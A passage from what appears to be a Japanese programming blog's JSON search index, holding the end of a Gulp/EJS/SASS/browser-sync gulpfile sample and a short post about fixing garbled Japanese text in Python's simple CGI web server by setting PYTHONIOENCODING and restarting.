paths.dist\n        },\n        port: 4000,\n        reloadOnRestart: true\n    })\n})\n\n// reload\ngulp.task(\u0026#34;reload\u0026#34;, done =\u0026gt; {\n  browserSync.reload()\n  done()\n})\n\n// clean\ngulp.task(\u0026#39;clean\u0026#39;, (done) =\u0026gt; {\n  del(paths.dist + \u0026#39;/**/*\u0026#39;);\n  done();\n});\n\n// watch\ngulp.task(\u0026#34;watch\u0026#34;, done =\u0026gt; {\n  gulp.watch(paths.src + \u0026#34;/scss/**/*.scss\u0026#34;, gulp.series(\u0026#39;sass\u0026#39;, \u0026#39;ejs\u0026#39;, \u0026#39;reload\u0026#39;))\n  gulp.watch(paths.src + \u0026#34;/ejs/**/*.ejs\u0026#34;, gulp.series(\u0026#39;ejs\u0026#39;, \u0026#39;reload\u0026#39;))\n  done()\n})\n\n// gulp\ngulp.task(\u0026#39;default\u0026#39;,\n  gulp.parallel(\u0026#39;watch\u0026#39;, \u0026#39;browser-sync\u0026#39;)\n)\n\n// build\ngulp.task(\u0026#39;build\u0026#39;,\n    gulp.series(\u0026#39;clean\u0026#39;,\n        gulp.series(\u0026#39;sass\u0026#39;,\n            gulp.series(\u0026#39;ejs\u0026#39;,)))\n)\n\u003c/code\u003e\u003c/pre\u003e","title":"Gulp, EJS, SASS, browser-syncのgulpfileサンプル"},{"content":"Python勉強に使っているのが、【実践力を身につける Pythonの教科書】ってのをひたすらやってる。環境はWindows。\nWEBアプリを作ってみようのところで、WEBアプリをブラウザでみると日本語が文字化けした。\nまずは以下のようにコードをっと、、\n#!/usr/bin/env python print(\u0026#34;Content-Type: text/html; charset=utf-8\u0026#34;) print(\u0026#34;\u0026#34;) print(\u0026#34;\u0026#34;) print(\u0026#34;パイソンのお勉強！\u0026#34;) print(\u0026#34;\u0026#34;) それで、コマンドランインからサーバを起動。\npython -m http.server --cgi 8080 それでブラウザ上でURLを入れる。\nhttp://localhost:8080/cgi-bin/test.py ここで文字化け。\nプログラムの文字コードをちゃんとUTF-8で保存されているけどなおらず\u0026hellip;\n次に、書籍に書いてある通り環境変数を新規に設定した。\n変数名は「PYTHONIOENCODING」で、値は「utf-8」に。\nしかし、それでも文字化けしたまま…\n数時間がハマったあげく、とりあえず再起動して試すことにした。\nそしたら、解決！\n新しい環境変数を追加した場合は、再起動する必要がある！\nとりあえずなにかの設定変更しときは、再起動した方が良いということです。\n","permalink":"https://pop-web.github.io/programming/python/python-webserver/","summary":"\u003cp\u003ePython勉強に使っているのが、【実践力を身につける Pythonの教科書】ってのをひたすらやってる。環境はWindows。\u003c/p\u003e\n\u003cp\u003eWEBアプリを作ってみようのところで、WEBアプリをブラウザでみると日本語が文字化けした。\u003c/p\u003e","title":"Pythonの簡易WEBサーバの文字化けを環境変数設定してなおす"}]